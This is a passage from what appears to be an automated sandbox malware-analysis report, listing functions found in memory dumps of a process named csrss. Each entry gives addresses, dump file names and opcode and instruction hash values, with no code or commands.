Opcode Fuzzy Hash: 040f47e4b748abac8aecd8712649d584c54f1f74f6861d50fa5c463511251ae6
Instruction Fuzzy Hash: 4F11CB26A6F7E21FE72387B01C790907FB05E2355431E42EBC089CA4F7D949598AC362

Function 00007FFD9B8B4C01 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db1af3338c2fb4a302d35fdf98ebe66f92613ad6f2a6effdf23fea377cc655dd
Instruction ID: 0842cb0674b2efd2368723c462c7c4175dcf04f3abecbd46f3bb6b2c50acc45f
Opcode Fuzzy Hash: db1af3338c2fb4a302d35fdf98ebe66f92613ad6f2a6effdf23fea377cc655dd
Instruction Fuzzy Hash: D1217430B19A1D4FEB98EB6CC4A6B6973D1EF9C310F15463EE40DC32A2DE34A9458B41

Function 00007FFD9B8AB365 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e0f880e16a436e7183ec150728f83bb9eba78fdab1b317070fb38edab8cb891
Instruction ID: 0aec66f7f39684d0cdb054d3ee984225661b1ab8825c4098034e854d6d2be496
Opcode Fuzzy Hash: 0e0f880e16a436e7183ec150728f83bb9eba78fdab1b317070fb38edab8cb891
Instruction Fuzzy Hash: E8214C32B0A92E8FEBA4AB9894A57B973E6FF5C315F410136D40DC3191DA2869818791

Function 00007FFD9BC77CD1 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217f55ab982be8c79857cef78d6435e056bfc97fc280d21baf91642f36283a1e
Instruction ID: e9a8b5ddb3b8fd8ea2abd361b5097c3365e9d10ecc4da3c4763ff9d8f45bf6bb
Opcode Fuzzy Hash: 217f55ab982be8c79857cef78d6435e056bfc97fc280d21baf91642f36283a1e
Instruction Fuzzy Hash: 3411067590F7CD4FDB529B7888A94D87FB0EF16210B8A44EBC085CB0B3E92D654AC701

Function 00007FFD9BC791C8 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9547c679f91887704b326ecf744abd80c3334c4869cdc726f61cb5c37a97228a
Instruction ID: af8a9cc1a0ec8708eca26ad3ee1101d62c06598263152bc7c42ad5f3ce383c55
Opcode Fuzzy Hash: 9547c679f91887704b326ecf744abd80c3334c4869cdc726f61cb5c37a97228a
Instruction Fuzzy Hash: 65218731B15A0D8BFB64DA68C4A5BAD73A2EF84310F560635D00AD73F5DE38B9418740

Function 00007FFD9B88458D Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8026450c6b36c6d64ae096f516331236ec356204d366fef2941b11778899365
Instruction ID: 3f58408bedc23d6bc7c86be39c39c06ed5097309dcb265e8ad62807a5889f8f5
Opcode Fuzzy Hash: f8026450c6b36c6d64ae096f516331236ec356204d366fef2941b11778899365
Instruction Fuzzy Hash: F9213D31F0991F8BEB64DB94D865ABE76B1FF48300F550639C02AD62D9DF786A018780

Function 00007FFD9B8A8790 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d662235800dd5c17b0003b2dafe0d3c5c403ad3ec04d5bc2b806a2f074e0f2
Instruction ID: ec166582c81608c4ec613ad484250736ab7a808c9b1a064c77b7533b25b019f4
Opcode Fuzzy Hash: a0d662235800dd5c17b0003b2dafe0d3c5c403ad3ec04d5bc2b806a2f074e0f2
Instruction Fuzzy Hash: 53115C73B0B55547D706A76DECB68D837D0EF0212C74C00F7C1998B1A3FD14644B8295

Function 00007FFD9BC81B30 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae8310e6c51fd5d6e628452a649973adc0f582989aac4f510e28f290e0d6221e
Instruction ID: 8731eeca6bae0a2f9131ec423590ebe18d2ca964cca89826ca3a8b99f506c6b9
Opcode Fuzzy Hash: ae8310e6c51fd5d6e628452a649973adc0f582989aac4f510e28f290e0d6221e
Instruction Fuzzy Hash: C4112731E0EB894FDB16AB7448654E87FB0EF1A210F4A41EAD448C70F3E9296949C741

Function 00007FFD9B8A2972 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e96cd2741f063b370a3ea76442f215cc24c90f8f2fed215b5ba70c3055354186
Instruction ID: c735d55728eacbd25880eb2c8c3d3a9280f38a79cb514284cfd6d1dfe0fd9e88
Opcode Fuzzy Hash: e96cd2741f063b370a3ea76442f215cc24c90f8f2fed215b5ba70c3055354186
Instruction Fuzzy Hash: BF11B431B0991E8FEB78DF84C8A5BB873A1EF58750F15017AD409D32D6DD286D418792

Function 00007FFD9BC74921 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b522ac46007e61916b7be94f30d6e2050daaa619e851f6d8c705573b68ba3dc
Instruction ID: fa29a3359a51643208d62016397e22e3e60522e6f653bf6254562c272f5836cc
Opcode Fuzzy Hash: 8b522ac46007e61916b7be94f30d6e2050daaa619e851f6d8c705573b68ba3dc
Instruction Fuzzy Hash: AA11E57194F7C95FDB16AF7488A9498BFB0EF16240B4A44EFC085CB0B3E9296949C701

Function 00007FFD9BC7C6F5 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aee83b143cdcc34ae9e938347f92bc846c6616c8ff401308142cb2a791b4e421
Instruction ID: 61443176d6fa9807d61bc2c0fd0ce04e01f8636580e08e2dda45a315ebe0c1f2
Opcode Fuzzy Hash: aee83b143cdcc34ae9e938347f92bc846c6616c8ff401308142cb2a791b4e421
Instruction Fuzzy Hash: F211F93194E7CD4FC7169B7488B90E47FB0FF16210B4A00EBD489CB4B3EA295989C741

Function 00007FFD9B8B4B35 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9be15767a625e34ade4cc0728a4ef092f6c376cc948e47d9c79cb602a0956593
Instruction ID: 1b11bb01765de803c3755f5e20b57f77e93f9150454e1f5a8604a4e4699ac93d
Opcode Fuzzy Hash: 9be15767a625e34ade4cc0728a4ef092f6c376cc948e47d9c79cb602a0956593
Instruction Fuzzy Hash: 93112171A0961D8FDB54DB98C4A5BAC77F1EB9C310F15013ED409E73A1CA796941CB81

Function 00007FFD9B8A70F8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d1c67f1a67126d46325c68a4eb38d290d0c11f977ab90cd200376907aeb427
Instruction ID: ce0ae88143ecdc7abb78cd552e6aa7ffe8b9f84b8f2000828f353727c589da21
Opcode Fuzzy Hash: c3d1c67f1a67126d46325c68a4eb38d290d0c11f977ab90cd200376907aeb427
Instruction Fuzzy Hash: DC018C25A0FBC50FDB1297794C394543FE0AF1B600B4E86FBC0C9CB1A3DD1868498312

Function 00007FFD9B8ADE69 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a364d4b44e14385461bb7e6c500fb722593a5f71b6e6fdc4ea8385cf41b9417
Instruction ID: 75b71924ef6da86db682bbab4250937c303d0b3cfe3a6c1cc8ddc883c9b90ff3
Opcode Fuzzy Hash: 5a364d4b44e14385461bb7e6c500fb722593a5f71b6e6fdc4ea8385cf41b9417
Instruction Fuzzy Hash: DE014F31F0641E8BEBA4E798D8647FC73E1FFA8301F010476E009D7291DA29AE91C790

Function 00007FFD9BC71B41 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e3064b2e7e5a79c10e8e9e8acd627aeae1ef932227ba41094067a1dc6fd0de
Instruction ID: 818d7cd233bf65c0498a82ee97f2029c8d2dd5cf60fcb7f6b867e9f50935421c
Opcode Fuzzy Hash: 61e3064b2e7e5a79c10e8e9e8acd627aeae1ef932227ba41094067a1dc6fd0de
Instruction Fuzzy Hash: 2AF0AF62F0E68A0AE765937988A13A86792EB86210F4A01B7C04DC71E2EC6919824341

Function 00007FFD9B8A7085 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eec3f37699c0e2b63d9e9a6928bdb048624cab5203861f2178b3c5f5c5df1015
Instruction ID: cbd2b16632f428c58122e2a4afd7af3fc45254125c29907489d41fa13fd31308
Opcode Fuzzy Hash: eec3f37699c0e2b63d9e9a6928bdb048624cab5203861f2178b3c5f5c5df1015
Instruction Fuzzy Hash: 0AF09A2090FBC40FDB129B798C290547FF0AF5B200B8E81FBC0C8CB0A3D91998498312

Function 00007FFD9B89E975 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee70b05150a5ac53149a586dbea83534dae26ea252d65ebe85a3fb8bbc1d1653
Instruction ID: 385348d85d2b399958ae2fc7a85c699339d856a09ddfb8f06e65cdd3db3a0894
Opcode Fuzzy Hash: ee70b05150a5ac53149a586dbea83534dae26ea252d65ebe85a3fb8bbc1d1653
Instruction Fuzzy Hash: 01F02712B0FACD1FD7A683AC28601506FD0EBAA16074A03E7D088C72A7D80898464392

Function 00007FFD9B896905 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 072a3cbb5572fa8c65814df73d4f12bf32fba2feee8e80430b2391cc1480da99
Instruction ID: 69590eaecd2833ca3814a4bd4673da782265988b0f37a14eb4be2686dbc3e299
Opcode Fuzzy Hash: 072a3cbb5572fa8c65814df73d4f12bf32fba2feee8e80430b2391cc1480da99
Instruction Fuzzy Hash: 27F0BB71B0FA8A0FE722977948706687BA0EF55350F490277C059C72E3DD5C96468385

Function 00007FFD9BC7C149 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789c71cf79ebd8a5c3b406af76ee54dc8d01b93181a03f813bd49f0d05ce358d
Instruction ID: 9c74f57d268f318cfcdffb1e3f1373493221b5e247fcf0c3317de89bcbf37feb
Opcode Fuzzy Hash: 789c71cf79ebd8a5c3b406af76ee54dc8d01b93181a03f813bd49f0d05ce358d
Instruction Fuzzy Hash: ECF04431B1A60E8FE754DAA4C4E47AD7393EF94351F154279D009C72E2DD3969468740

Function 00007FFD9B8AB019 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c311ea83e262ca4579a6c2b64f31af68477dab8e8dc43f1b63c5e062b1c2dc
Instruction ID: 658e144a90bbdaf9419c3ebb05ceb0d953b66caf27e6fd8df48dc41aea4958b3
Opcode Fuzzy Hash: c8c311ea83e262ca4579a6c2b64f31af68477dab8e8dc43f1b63c5e062b1c2dc
Instruction Fuzzy Hash: A5F02021B0DBC84FC729966A48A54207FE0DF5B50130A02EFC096C72A3DC09AC8A8701

Function 00007FFD9B8845CF Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40bf9832d48a9a9a6d6e9447e457b24cb4eb28de684b6d2818c136946a3bcb2d
Instruction ID: 7b89743bb533726b1af671a8cbe63b3161660f02f536887f9c197429df0c2e1c
Opcode Fuzzy Hash: 40bf9832d48a9a9a6d6e9447e457b24cb4eb28de684b6d2818c136946a3bcb2d
Instruction Fuzzy Hash: DBF03171F0890F8BEB54EB84C865ABE77E5EB54300F050539C425D72A5EF74AA418780

Function 00007FFD9B89D369 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3f5d8e28b37bb53b773104c4fab0dceea2dca52323e50fc933558233aeb869
Instruction ID: 817134c2b6c091c9bc235f3f78b038f3dd3879db091b37f07690e6d3be638a76
Opcode Fuzzy Hash: 1c3f5d8e28b37bb53b773104c4fab0dceea2dca52323e50fc933558233aeb869
Instruction Fuzzy Hash: BAF0A06150E7D40FD3229B388C654147FB0EA2710530A02EBC0CACB4B3D509988B8301

Function 00007FFD9B8AEA56 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcdfc5bb28e86bffaf17cd2b1a72ed8b7c5ae0246ac1d945a6668d810ff9e4bc
Instruction ID: 94d09fec99488b90922aa9483a9e30663664cfcd3ba96c4686998c9e0fa225b8
Opcode Fuzzy Hash: fcdfc5bb28e86bffaf17cd2b1a72ed8b7c5ae0246ac1d945a6668d810ff9e4bc
Instruction Fuzzy Hash: 5CF0B431F0891D8FE760EF94C4957A973D2EB98301F124976D40DC32A6DF38A9414380

Function 00007FFD9B8B3369 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b23d5d5e45d36a3d516b4042e9af2e2b558a37b1de0003da7309134c737c1c97
Instruction ID: a4b902919e7e0bb8afcc2be3dcc30a003c629ee2746f82fdea69ac1ef715d803
Opcode Fuzzy Hash: b23d5d5e45d36a3d516b4042e9af2e2b558a37b1de0003da7309134c737c1c97
Instruction Fuzzy Hash: 15F0EC31B0551E8FEB58EBA4D865ABE77E1FF58301F45097AC019D32A5DF746A408B80

Function 00007FFD9B8AF1A0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab7f1e1889918f5fab07c6275ba661774c2512c272acad01653f94750c61df6
Instruction ID: a302c684957969614780ba63d7bd898a224e0e2a42e2535eb44ec93a7c3c8abb
Opcode Fuzzy Hash: dab7f1e1889918f5fab07c6275ba661774c2512c272acad01653f94750c61df6
Instruction Fuzzy Hash: 26E06831A08A0C4FDFA0AB9898206E43FA0FB88314F04006AF00CC2280C2215941C321

Function 00007FFD9BC71F70 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd2c9075035ddfa6e0ddd8080905cba8e0d3c9a3b83ff618163e40fedc7cebad
Instruction ID: 87e923bc5bb3db0cc07e5e424194f00c8fa4e753adf63528eeea01595da562b0
Opcode Fuzzy Hash: dd2c9075035ddfa6e0ddd8080905cba8e0d3c9a3b83ff618163e40fedc7cebad
Instruction Fuzzy Hash: 1EE0C230704E0C079B2CA56E649C471B3D1C7B8222344437FA40AC33B4DC51FC844288

Function 00007FFD9BC7563C Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50a8744c87f6bd70ade6b66f9a217942a37db67e526b4e9c5579e2b821874276
Instruction ID: 1f5eab42ea4a6e685df58173c2ac61074d69087b9d9314de572d2702b101186e
Opcode Fuzzy Hash: 50a8744c87f6bd70ade6b66f9a217942a37db67e526b4e9c5579e2b821874276
Instruction Fuzzy Hash: EBE08C21B08F0C0BDB68A56E58AC071B7D1D7B8622348436E944AC36B1EC95BC898784

Function 00007FFD9B884BBA Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction ID: 61727cfd8f9839dd8678c1016514f84f1b0ff661747a48dbb5f35b177cd21fad
Opcode Fuzzy Hash: 83b57018487f0601762528aa913da1a6a0998894cc75023c9d8746bf222c658d
Instruction Fuzzy Hash: 84E02B3170950A4FE718DB4CC8906B53351EB88305F014568D456C31ABDE38AA4286C0

Function 00007FFD9BC71E5D Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a52661e220b6b10ab214d174bfbeeb5ce5fb848d9df1409dc7c19b4206f3a4ad
Instruction ID: 7ff3cc7805f7ed8e72164db20feb7ed77825e5ec7b1ddeb633ad2faa1a754866
Opcode Fuzzy Hash: a52661e220b6b10ab214d174bfbeeb5ce5fb848d9df1409dc7c19b4206f3a4ad
Instruction Fuzzy Hash: F1E02620B09A855FCB5897388CA98783BA0EF9B21179900F9D449C30A3D91AD949C341

Function 00007FFD9B8AB030 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5b3193855c11d29d9abef0857f41e81d3fe71dfda2401c418487087779adde7
Instruction ID: e28ce4173a8e412c5bea0b82bd9e50c8deab70beb668483cf558c0399b989dd2
Opcode Fuzzy Hash: f5b3193855c11d29d9abef0857f41e81d3fe71dfda2401c418487087779adde7
Instruction Fuzzy Hash: 5DD02B30760F0C074B2CA52E6445471B3D5C79E206344427E945BC3394DC50EC8247C4

Function 00007FFD9BC83E45 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f32c7ba0923ec1f6cc2e2f588ffbb36a886f79d6ac17158af98fe3e91141f2dc
Instruction ID: 513adbfbe4dd902449cd40ee27f93f49045a4ef136f3c9ec90e1a1a672ec84b1
Opcode Fuzzy Hash: f32c7ba0923ec1f6cc2e2f588ffbb36a886f79d6ac17158af98fe3e91141f2dc
Instruction Fuzzy Hash: 58E01234A78A888FC710AF38C815439BBE0FB5A21AB4606FAD49EC6571EB2595429641

Function 00007FFD9B8A2348 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88649d804720dfe19dcb03678f195ad5702c58880705f96b37fb75b4cc5cac18
Instruction ID: 6cb2fc35ea334e596844f286f2ee18fe97322d482d365d29ada63bf5c26d1cce
Opcode Fuzzy Hash: 88649d804720dfe19dcb03678f195ad5702c58880705f96b37fb75b4cc5cac18
Instruction Fuzzy Hash: 0DD05E30B11D0D4B8B4CA62D885C430F3D1E7B92067945269940AC22A1ED25ECC58780

Function 00007FFD9B8A99F0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebce66177f8ef0d8e429e55321a7abd26be41c7dbabbcac62d81a6e68f296d45
Instruction ID: ff0fab6091d266178386691cda23cb75ab737b42c34e7ab1d5eb9d71196c5ff3
Opcode Fuzzy Hash: ebce66177f8ef0d8e429e55321a7abd26be41c7dbabbcac62d81a6e68f296d45
Instruction Fuzzy Hash: 12D05E30B11D0D4B8B0CA62E885C430B3D1EBA96067945269940AC22A1ED25ECC58780

Function 00007FFD9B896920 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B893000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B893000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b893000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction ID: 13ee59b51d438f0d3249ca81254a331da21d7585f58065648fcd14d23b766bbd
Opcode Fuzzy Hash: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction Fuzzy Hash: 2BE0C231B1A80E47E724F3298CA4ABD7251EB99721F454236E41DC32E9ED289A4283C4

Function 00007FFD9B883F30 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FFD9BC78C80 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8AAB80 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

